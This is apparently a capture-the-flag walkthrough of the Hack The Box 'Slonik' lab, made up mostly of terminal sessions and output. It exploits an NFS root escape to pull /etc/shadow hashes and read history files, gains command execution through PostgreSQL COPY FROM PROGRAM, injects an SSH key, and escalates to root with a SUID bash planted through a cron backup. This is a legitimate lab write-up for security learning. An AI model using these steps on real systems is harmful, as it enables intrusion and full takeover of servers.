Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ nmap -sC -sV -Pn 10.129.180.231 -oN ./nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-04-29 21:29 +0000
Nmap scan report for 10.129.180.231
Host is up (0.32s latency).
Not shown: 997 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 2d:8d:0a:43:a7:58:20:73:6b:8c:fc:b0:d1:2f:45:07 (ECDSA)
|_ 256 82:fb:90:b0:eb:ac:20:a2:53:5e:3c:7c:d3:3c:34:79 (ED25519)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100003 3,4 2049/tcp nfs
| 100003 3,4 2049/tcp6 nfs
| 100005 1,2,3 34378/udp mountd
| 100005 1,2,3 36519/tcp6 mountd
| 100005 1,2,3 48536/udp6 mountd
| 100005 1,2,3 55021/tcp mountd
| 100021 1,3,4 35797/tcp6 nlockmgr
| 100021 1,3,4 38061/udp nlockmgr
| 100021 1,3,4 46015/tcp nlockmgr
| 100021 1,3,4 49119/udp6 nlockmgr
| 100024 1 40897/tcp6 status
| 100024 1 41388/udp status
| 100024 1 42237/tcp status
| 100024 1 60823/udp6 status
| 100227 3 2049/tcp nfs_acl
|_ 100227 3 2049/tcp6 nfs_acl
2049/tcp open nfs_acl 3 (RPC #100227)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.33 seconds
NFS - TCP 2049
showmount -e will list the available mounts (shares) over NFS:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ showmount -e 10.129.180.231
Export list for 10.129.180.231:
/var/backups *
/home *
We can also use netexecto help us check them
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --enum-shares
NFS 10.129.180.231 55021 10.129.180.231 [*] Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.180.231 55021 10.129.180.231 [*] Enumerating NFS Shares Directories
NFS 10.129.180.231 55021 10.129.180.231 [+] /var/backups
NFS 10.129.180.231 55021 10.129.180.231 [+] /home
NFS 10.129.180.231 55021 10.129.180.231 UID Perms File Size File Path Access List
NFS 10.129.180.231 55021 10.129.180.231 --- ----- --------- --------- -----------
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 90.0B /home/service/.bash_history *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 0B /home/service/.cache/motd.legal-displayed *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 326.0B /home/service/.psql_history *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 807.0B /home/service/.profile *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 3.7KB /home/service/.bashrc *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 220.0B /home/service/.bash_logout *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 96.0B /home/service/.ssh/authorized_keys *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- 96.0B /home/service/.ssh/id_ed25519.pub *
NFS 10.129.180.231 55021 10.129.180.231 1337 r-- - /home/service/.local/share/ *
There is tip root escape:True, we can use netexec -lsto break out the shares
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --ls /
NFS 10.129.180.231 55021 10.129.180.231 [*] Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.180.231 55021 10.129.180.231 [+] Successful escape on share: /var/backups
NFS 10.129.180.231 55021 10.129.180.231 UID Perms File Size File Path
NFS 10.129.180.231 55021 10.129.180.231 --- ----- --------- ---------
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /.
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /..
NFS 10.129.180.231 55021 10.129.180.231 0 -rwx 7.0B /bin
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /boot
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /dev
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /etc
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /home
NFS 10.129.180.231 55021 10.129.180.231 0 -rwx 7.0B /lib
NFS 10.129.180.231 55021 10.129.180.231 0 -rwx 9.0B /lib32
NFS 10.129.180.231 55021 10.129.180.231 0 -rwx 9.0B /lib64
NFS 10.129.180.231 55021 10.129.180.231 0 -rwx 10.0B /libx32
NFS 10.129.180.231 55021 10.129.180.231 0 d--- 16.0KB /lost+found
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /media
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /mnt
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /opt
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /proc
NFS 10.129.180.231 55021 10.129.180.231 0 d--- 4.0KB /root
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /run
NFS 10.129.180.231 55021 10.129.180.231 0 -rwx 8.0B /sbin
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /snap
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /srv
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /sys
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /tmp
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /usr
NFS 10.129.180.231 55021 10.129.180.231 0 dr-- 4.0KB /var
Let's continue to download the file /etc/passwdand /etc/shadow
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --get-file /etc/passwd passwd
NFS 10.129.180.231 55021 10.129.180.231 [*] Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.180.231 55021 10.129.180.231 [*] Downloading /etc/passwd to passwd
NFS 10.129.180.231 55021 10.129.180.231 File successfully downloaded from /etc/passwd to passwd
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec nfs 10.129.180.231 --get-file /etc/shadow shadow
NFS 10.129.180.231 55021 10.129.180.231 [*] Supported NFS versions: (3, 4) (root escape:True)
NFS 10.129.180.231 55021 10.129.180.231 [*] Downloading /etc/shadow to shadow
NFS 10.129.180.231 55021 10.129.180.231 File successfully downloaded from /etc/shadow to shadow
There is only two accounts could be access to /bin/bash
root:x:0:0:root:/root:/bin/bash
postgres:x:115:123:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
But the shadow shows
root:$y$j9T$nHJOa2A9rTXPQi3rqjrDI/$mbo9VYMotfEvj4Va5D7Lv0AOzdHRuMwGf.4nue0pZe3:19654:0:99999:7:::
service:$y$j9T$4gRKP9kqW6NvhFfcFU2mL/$KT6bU.KoVCaBDQjkmUIkni5qWJaCTzScIz4B8XwqT/7:19654:0:99999:7:::
I can't use hashcat or john to help us crack them.
I would continue to mount the share
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sudo mount -t nfs 10.129.234.160:/home /mnt
In this place, I need to fake my identity as a service to view /home/service
service@localhost:/mnt$ cd service
service@localhost:/mnt/service$ ls -la
total 40
drwxr-x--- 5 service service_nfs 4096 Sep 22 12:46 .
drwxr-xr-x 3 root root 4096 Oct 24 2023 ..
-rw-r--r-- 1 service service_nfs 90 Sep 22 12:46 .bash_history
-rw-r--r-- 1 service service_nfs 220 Oct 24 2023 .bash_logout
-rw-r--r-- 1 service service_nfs 3771 Oct 24 2023 .bashrc
drwx------ 2 service service_nfs 4096 Oct 24 2023 .cache
drwxrwxr-x 3 service service_nfs 4096 Oct 24 2023 .local
-rw-r--r-- 1 service service_nfs 807 Oct 24 2023 .profile
-rw-r--r-- 1 service service_nfs 326 Sep 22 12:46 .psql_history
drwxrwxr-x 2 service service_nfs 4096 Oct 24 2023 .ssh
Actually we can directly check the files
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sudo -u '#1337' cat /mnt/service/.bash_history
ls -lah /var/run/postgresql/
file /var/run/postgresql/.s.PGSQL.5432
psql -U postgres
exit
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sudo -u '#1337' cat /mnt/service/.psql_history
CREATE DATABASE service;
\c service;
CREATE TABLE users ( id SERIAL PRIMARY KEY, username VARCHAR(255) NOT NULL, password VARCHAR(255) NOT NULL, description TEXT);
INSERT INTO users (username, password, description)VALUES ('service', 'aaabf0d39951f3e6c3e8a7911df524c2'WHERE', network access account');
select * from users;
\q
Now we can try to crack the password hash and get another credit service:service

I would try ssh first, but we can't access to the shell
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ netexec ssh 10.129.180.231 -u service -p service
SSH 10.129.180.231 22 10.129.180.231 [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.13
SSH 10.129.180.231 22 10.129.180.231 [+] service:service Network Devices
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ ssh service@10.129.180.231
The authenticity of host '10.129.180.231 (10.129.180.231)' can't be established.
ED25519 key fingerprint is: SHA256:j/hcANass/0veF/m0NAMOR41osL5zUMMMQ9nCYiwjmY
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.180.231' (ED25519) to the list of known hosts.
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
(service@10.129.180.231) Password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 6.8.0-1036-aws x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
System information as of Wed Apr 29 12:35:40 UTC 2026
System load: 0.13
Usage of /: 46.3% of 6.59GB
Memory usage: 8%
Swap usage: 0%
Processes: 232
Users logged in: 0
IPv4 address for eth0: 10.129.180.231
IPv6 address for eth0: dead:beef::250:56ff:fe95:d91c
Expanded Security Maintenance for Applications is not enabled.
0 updates can be applied immediately.
Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status
The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Connection to 10.129.180.231 closed.
I remember that the UNIX socket that the PostgreSQL database is listening on (it's being treated as a file), which can be seen in the .bash_history file. SSH can actually forward the port to the UNIX socket using the -L option:
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ sshpass -p service ssh -N -L 5432:/var/run/postgresql/.s.PGSQL.5432 service@10.129.180.231
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@/ %@@@@@@@@@@. @& @@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############. ############ ##########* &@@@@@@@@@@@@@@@
@@@@@@@@@@@ ############### ################### /########## @@@@@@@@@@@@@
@@@@@@@@@@ ###############( #######################( ######### @@@@@@@@@@@@
@@@@@@@@@ ############### (######################### ######### @@@@@@@@@@@@
@@@@@@@@@ .############## ###########################( ####### @@@@@@@@@@@@
@@@@@@@@@ ############## ( ############## ###### @@@@@@@@@@@@
@@@@@@@@@. ############## ##### # .########### ## ## #####. @@@@@@@@@@@@@
@@@@@@@@@@ .############# /######## ########### *##### ###### @@@@@@@@@@@@@@
@@@@@@@@@@. ############# (########( ###########/ ##### ##### (@@@@@@@@@@@@@@
@@@@@@@@@@@ ###########( #########, ############( #### ### (@@@@@@@@@@@@@@@
@@@@@@@@@@@@ (##########/ ######### ############## ## #( @@@@@@@@@@@@@@@@@
@@@@@@@@@@@@( ########### ####### ################ / # @@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@ ############ #### ################### @@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@, ########## @@@ ################ (@@@@@@@@@@@
@@@@@@@@@@@@@@@@ .###### @@@@ ### ############## ####### @@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@( * @. ####### ############## (@((&@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@%&@@@@ #############( @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############# @@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@/ ############# ,@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ############( @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ ########### @@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ #######* @@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@& @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
It just hangs, and I can visit the service via port 5432
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ psql -h localhost -p 5432 -U postgres
psql (18.3 (Debian 18.3-1+b1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
Type "help" for help.
postgres=#
I would continue to enumerate the database
postgres=# \list
List of databases
Name | Owner | Encoding | Locale Provider | Collate | Ctype | Locale | ICU Rules | Access privileges
-----------+----------+----------+-----------------+---------+---------+--------+-----------+-----------------------
postgres | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | |
service | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | |
template0 | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | libc | C.UTF-8 | C.UTF-8 | | | =c/postgres +
| | | | | | | | postgres=CTc/postgres
(4 rows)
postgres=# \c service
psql (18.3 (Debian 18.3-1+b1), server 14.19 (Ubuntu 14.19-0ubuntu0.22.04.1))
You are now connected to database "service" as user "postgres".
service=# \dt
List of tables
Schema | Name | Type | Owner
--------+-------+-------+----------
public | users | table | postgres
(1 row)
service=# select * from users;
id | username | password | description
----+----------+----------------------------------+------------------------
1 | service | aaabf0d39951f3e6c3e8a7911df524c2 | network access account
(1 row)
We can see the valid entry from .psql_history
To execute commands via PostgreSQL, I will create a table to store the output, copy the results to that table, and then retrieve them:
service=# CREATE TABLE cmd(output text);
CREATE TABLE
service=# COPY cmd FROM PROGRAM 'id';
COPY 1
service=# select * from cmd;
output
------------------------------------------------------------------------
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
(1 row)
Continue to try to write our ssh public key to the target .ssh
service=# COPY cmd FROM PROGRAM 'mkdir -p /var/lib/postgresql/.ssh';
COPY 0
service=# COPY cmd FROM PROGRAM 'chmod 700 /var/lib/postgresql/.ssh';
COPY 0
service=# COPY (SELECT 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDO0dl48snyfNIrhj7V9tMQpXE5B0uCuiCXQxCdZLYglN70DyHDODd5y6jdo4JhorRyBK7kEguQZErAGWtJOs9Q8Tk6VLE1PmRc+vZMFH7FhM+Bdr6kH3bjHbPvLr/rqwYKCzUB5oYZOAJP9+6azC/SiBdtne0TN7uzTLXIO9+nFvfX6ZEL+Exkc3Tux7BlmatBJAOjvSHY94NXylZzyNM8HKDLp1fR43f64oKDL5odQFumuYDS2PvRRTMcx9NJ8xc1PD2STFd9xXvcpyXnE+WJjbc0s/iq6bgw6FrN7yYEegXolRsLh9jMFQtfJnBExqK2PWMm++UH2U6W4CXdKq1Vjlj+ZbWoC8SM3lL+H2y+wB2xjugQolebG3JS1r6NLGCDygY25ySUskXPdprwPf6vFCQiSdr2EHATwJI3HQMMUyBuEuHawppop60atUcMOhXny0h7//zJ/td6fouJT14KxQ/3f3B/ifXoAmIX8Y15FBxY70qeubV1XE+TnaXaw7IdESxEn5mIl13cIleAv/UFF4fEyXutr3ceDFHE4MOsL4KzynSfNmUMKkkbf+IbVGiJTKrzjzcCPx4KBKkhybmidX3q3LOwXvtltF/7t5/bM9D8JB7rT/3VF4ECtPt9Mr2FbahMz9Uzm1yKcu0sNbx9DFKSVtn2larH+zqh7QU7iQ== test') TO PROGRAM 'tee /var/lib/postgresql/.ssh/authorized_keys';
COPY 1
Then we can ssh connect to the shell as postgres
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/Slonik]
└─$ ssh -i ~/.ssh/id_rsa postgres@10.129.180.231
postgres@slonik:~$ whoami
postgres
postgres@slonik:~$ id
uid=115(postgres) gid=123(postgres) groups=123(postgres),122(ssl-cert)
Privilege Escalation
I would check sudo -lfirstly, but this account don't set any password
postgres@slonik:~$ sudo -l
[sudo] password for postgres:
Remember there is another directory /var/backupwhich we never use that
postgres@slonik:/var/backups$ ls -al
total 31928
drwxr-xr-x 2 root root 4096 Apr 29 12:48 .
drwxr-xr-x 13 root root 4096 Sep 19 2023 ..
-rw-r--r-- 1 root root 4666454 Apr 29 12:42 archive-2026-04-29T1242.zip
-rw-r--r-- 1 root root 4666459 Apr 29 12:43 archive-2026-04-29T1243.zip
-rw-r--r-- 1 root root 4667960 Apr 29 12:44 archive-2026-04-29T1244.zip
-rw-r--r-- 1 root root 4667946 Apr 29 12:45 archive-2026-04-29T1245.zip
-rw-r--r-- 1 root root 4667946 Apr 29 12:46 archive-2026-04-29T1246.zip
-rw-r--r-- 1 root root 4667943 Apr 29 12:47 archive-2026-04-29T1247.zip
-rw-r--r-- 1 root root 4667948 Apr 29 12:48 archive-2026-04-29T1248.zip
These files should be created by root and cron gives the task.
I would use pspyto help us find out them
2026/04/29 12:54:01 CMD: UID=0 PID=48817 | /usr/sbin/CRON -f -P
2026/04/29 12:54:01 CMD: UID=0 PID=48819 | /bin/bash /usr/bin/backup
2026/04/29 12:54:01 CMD: UID=0 PID=48818 | /bin/sh -c /usr/bin/backup
2026/04/29 12:54:01 CMD: UID=0 PID=48821 | /usr/bin/rm -rf /opt/backups/current/PG_VERSION /opt/backups/current/backup_label /opt/backups/current/backup_manifest /opt/backups/current/base /opt/backups/current/global /opt/backups/current/pg_commit_ts /opt/backups/current/pg_dynshmem /opt/backups/current/pg_logical /opt/backups/current/pg_multixact /opt/backups/current/pg_notify /opt/backups/current/pg_replslot /opt/backups/current/pg_serial /opt/backups/current/pg_snapshots /opt/backups/current/pg_stat /opt/backups/current/pg_stat_tmp /opt/backups/current/pg_subtrans /opt/backups/current/pg_tblspc /opt/backups/current/pg_twophase /opt/backups/current/pg_wal /opt/backups/current/pg_xact /opt/backups/current/postgresql.auto.conf
2026/04/29 12:54:01 CMD: UID=0 PID=48822 | /usr/bin/perl /usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
We can check the backup script
postgres@slonik:/tmp$ cat /usr/bin/backup
#!/bin/bash
date=$(/usr/bin/date +"%FT%H%M")
/usr/bin/rm -rf /opt/backups/current/*
/usr/bin/pg_basebackup -h /var/run/postgresql -U postgres -D /opt/backups/current/
/usr/bin/zip -r "/var/backups/archive-$date.zip" /opt/backups/current/
count=$(/usr/bin/find "/var/backups/" -maxdepth 1 -type f -o -type d | /usr/bin/wc -l)
if [ "$count" -gt 10 ]; then
/usr/bin/rm -rf /var/backups/*
fi
It deletes all files in the /opt/backups/current directory, then calls the standard PostgreSQL tool pg_basebackup, using the current directory as the output directory. Next, it compresses this directory to /var/backups, using the date as the filename. Afterward, it counts the number of backups; if it exceeds 10, it deletes them all.
The files backed up to /opt/backups/current are files located in /var/lib/postgresql/14/main.
postgres@slonik:~/14/main$ ls -al
total 92
drwx------ 19 postgres postgres 4096 Apr 29 06:51 .
drwxr-xr-x 3 postgres postgres 4096 Oct 23 2023 ..
-rw------- 1 postgres postgres 3 Oct 23 2023 PG_VERSION
drwx------ 7 postgres postgres 4096 Oct 24 2023 base
drwx------ 2 postgres postgres 4096 Apr 29 06:52 global
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_commit_ts
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_dynshmem
drwx------ 4 postgres postgres 4096 Apr 29 12:57 pg_logical
drwx------ 4 postgres postgres 4096 Oct 23 2023 pg_multixact
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_notify
drwx------ 2 postgres postgres 4096 Apr 29 12:57 pg_replslot
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_serial
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_snapshots
drwx------ 2 postgres postgres 4096 Apr 29 06:51 pg_stat
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_stat_tmp
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_subtrans
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_tblspc
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_twophase
drwx------ 3 postgres postgres 4096 Apr 29 12:57 pg_wal
drwx------ 2 postgres postgres 4096 Oct 23 2023 pg_xact
-rw------- 1 postgres postgres 88 Oct 23 2023 postgresql.auto.conf
-rw------- 1 postgres postgres 130 Apr 29 06:51 postmaster.opts
-rw------- 1 postgres postgres 98 Apr 29 06:51 postmaster.pid
We can also write in this directory.
I will copy bash to that directory (because it's the home directory for the postgres user, and it can write to that directory) and set it as SetUID/SetGID:
postgres@slonik:~/14/main$ cp /bin/bash .
postgres@slonik:~/14/main$ chmod 6777 bash
The next time cron runs, a SetUID/SetGID bash script owned by the root user will be created:
postgres@slonik:/opt/backups/current$ ls -al bash
-rwsrwsrwx 1 root root 1396520 Apr 29 12:59 bash
postgres@slonik:/opt/backups/current$ ./bash -p
bash-5.1# whoami
root
Description
Slonik is a medium-difficulty Linux machine centered around NFS misconfiguration and PostgreSQL abuse. The attack begins by enumerating exposed NFS shares, where a root escape vulnerability allows browsing the full filesystem. By reading sensitive files such as .psql_history and .bash_history via UID spoofing, an attacker recovers credentials to a PostgreSQL instance. Since direct SSH access to the service account drops the connection immediately, SSH local port forwarding is used to tunnel a connection to the PostgreSQL UNIX socket. Once connected as the postgres superuser, remote code execution is achieved via COPY ... FROM PROGRAM, enabling SSH key injection and shell access as the postgres system user. Privilege escalation relies on a root-owned cron job that performs a pg_basebackup from the postgres home directory — a location writable by the postgres user. By placing a SUID bash binary there before the backup runs, the script inadvertently copies it with root ownership into a world-accessible path, allowing full root compromise.